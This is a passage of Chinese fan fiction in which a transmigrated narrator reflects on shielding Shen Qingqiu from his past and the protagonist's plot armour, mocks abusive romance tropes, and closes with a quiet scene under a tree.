忧的是他是否会再次陷入之前的困境之中,无法自拔?是否又将重蹈覆辙,踏上那条不归路?毕竟……若是主角再次出现,看见曾经的仇人死而复生,也难说会发生什么后续。 再三思索之后,我下定决心要向他隐瞒那段不堪回首的往事,给他一个全新的身份和生活环境,帮助他开启全新的人生旅程。希望在没有那些痛苦回忆的困扰下,他能够真正获得自由与解脱…… 虽然我清楚明白自己所做的一切都于事无补,修真界仍在与魔界激烈交战,而那些敌我不分的人也依旧四处游荡、制造混乱。 然而这又如何呢?我进入这里的初衷仅仅是想要拯救他而已。 或许有人会指责我冷酷无情,亦或是认为我太过决绝,但事实却是如此残酷——我既没有实力击败洛冰河,更谈何取其性命!之前历经千辛万苦、机关算尽才汇聚起整个修真界的力量,可最终依然无力抵挡命运的安排和剧情的走向。 现今总算成功地将沈清秋从那场可怕的漩涡中解救出来,能够让他平平安安地生活下去,已然是极为难得之事了,又怎能再有过多奢望呢? 我没有办法在龙傲天的世界,击败龙傲天。 也没有足够强力的外挂,能击破来自‘作者/造物神/天道’对主角的庇护,更没办法徐徐图之、磨灭一本还在连载中的主角光环。 主角的金手指开太大了,如果站在主角的立场上,那么看官们一定会看得淋漓尽致,非常爽快。 可惜,谁让我粉的是一个反派呢?而且这个反派也没有办法通过足够的外挂和资源来与主角唱对台戏,连最终boss都达不到。 难不成像是其他后续一样,被那个如同神经病一般的龙傲天主角爱上,接着感受蛇精病的强制爱吗? 算了吧,与其被一个深井冰盯上,还不如干脆自杀来的利落。那些古早的虐身、虐心、虐弱势方,若不是披着一层“爱”的薄纱,简直就是惨无人寰的折磨! 被这样一个人,感受身体上的创伤,被他折磨的如同精神分裂,还要说一句‘我心疼你的过去,所以我把我赔给你’ emmmm。太可怕了吧。 这是什么终极舔狗。 你虐我身,我更兴奋;你虐我心,我更心疼;你虐我家人,他们都是PLA一环。 妈耶,可怕,太可怕了,这是什么下降头的恐怖事情。 我的想法一直很简单,很纯粹。 那样一个优秀到发光,受尽挫折还能站起来,虽有些无关痛痒的缺点却坚守底线,饱受摧残也没有毁灭世界,的人。 本不该落的如此下场的。 爱人如养花,漂亮的鲜花本该温柔呵护,而不是将他扔到暴风雨里被风吹雨打,接着感叹一句:“昨夜雨疏风骤”。 —— “想什么呢?走了。”温柔而低沉的嗓音传来,仿佛能抚平人内心的焦躁与不安。 我愣神间,只觉头顶上方有东西坠落下来,“砰”地一声掉落在脚边。低头一看,原来是一枚红彤彤的苹果。 再仰头望去,只见一袭青衣正斜倚在树枝上,衣袂飘飘,宛如仙人下凡。那男子身姿挺拔,双腿修长,从枝头自然垂下,更显其风流倜傥。 青年容貌俊美,剑眉星目,嘴角微微上扬,挂着一抹似有若无的笑容。此刻,斜阳正好洒在他的脸庞上,给他整个人都披上了一层金色的光辉,使得他看起来格外温暖,身上散发出一种阳光的味道。 ‘这才是救赎的意义。’回过神来,我连忙捡起地上的苹果,用袖子仔细擦拭干净后,轻轻咬了一口,清甜的果汁瞬间充斥口腔。 “嗯,来了。”我低声回应道,然后快步跟上前方那个渐行渐远的身影。